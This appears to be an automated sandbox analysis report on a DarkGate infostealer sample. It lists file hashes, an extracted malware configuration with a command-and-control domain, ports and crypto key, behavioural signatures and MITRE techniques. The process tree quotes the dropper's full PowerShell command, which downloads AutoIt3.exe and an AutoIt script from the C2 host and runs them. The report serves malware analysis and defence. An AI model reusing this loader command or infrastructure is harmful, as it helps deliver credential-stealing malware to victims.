darkgate | c11dc2710204f067e738814b4d6153746459d81549b35b7fd3084278ee87ae46

Analysis

max time kernel
137s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
09/11/2023, 01:43

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General

Target
eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d.js
Size 252KB
Sample231109-b5hetaeg5t
SHA256 eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d
MD5 5780dea262044531b19f3194408aad91
SHA1 a2579952eedec5ec649f589c1e797c91a05eaf93
SHA512 e45f5351921016ff87e6d81cc1eaade7c88324f847ec37dd60d08bc4830ebe6fb6b00f9623d3438d03c48236f091fff19f239face730ddfa2c9ea6640adc55c3
SSDEEP 6144:Ye7hgXeerjqlI2Iro+/e7hgXeerjqlI2Iro+8:YIhgSlI234IhgSlI23V
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate user_871236672 stealer

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

http://8sjimonstersboonkonline.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
false
check_ram
true
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
BXQcSgVDRBHnbn
internal_mutex
txtMut
minimum_disk
43
minimum_ram
6000
ping_interval
4
rootkit
true
startup_persistence
true
username
user_871236672

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3580	powershell.exe
13	3580	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
5072	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3580	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4944 wrote to memory of 3580	4944	wscript.exe	29
PID 4944 wrote to memory of 3580	4944	wscript.exe	29
PID 3580 wrote to memory of 5072	3580	powershell.exe	90
PID 3580 wrote to memory of 5072	3580	powershell.exe	90
PID 3580 wrote to memory of 5072	3580	powershell.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiqgmovrcg' -OutFile 'qgmovrcg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'qgmovrcg.au3'"; Stop-Process -Name "WScript"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" qgmovrcg.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:5072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_li5jnrt3.neb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_li5jnrt3.neb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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qgmovrcg.au3

Path C:\tepp\qgmovrcg.au3
Size 529KB
SHA256 873d0578b78a1a8417ed8b63d400ba29d1fb942c23e9586cb5dcbf1643e560b8
MD5 7c0118e766a4ae2d2b403e3fb4b0bb98
SHA1 be7f5a1371c26c97ce19a74068e3b0789482cca2
SHA512 5995d51d309782214eeda00e49f4e6c04836164f658d7b0157f2743460e46a51a0ab5ed31a37998c52eb7d807a9abd5c6fb812f267f651c2b557496f3914b1d1
SSDEEP 12288:Iq4T6Ax71wJsMGqhW2ArE89HOzRiliQp/xY4H/6/7JFQwF6IstQRNodVqCnHxfvr:a+JdCDccGByK/yoQH
MD5 SHA1 SHA512 SSDEEP

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memory/3580-13-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

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memory/3580-12-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

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memory/3580-11-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

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memory/3580-10-0x00007FFC70320000-0x00007FFC70DE1000-memory.dmp

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memory/3580-27-0x00007FFC70320000-0x00007FFC70DE1000-memory.dmp

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memory/3580-0-0x000001E3B7960000-0x000001E3B7982000-memory.dmp

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memory/5072-30-0x00000000038A0000-0x00000000039A0000-memory.dmp

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memory/5072-31-0x0000000004340000-0x00000000044D5000-memory.dmp

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memory/5072-32-0x0000000004340000-0x00000000044D5000-memory.dmp

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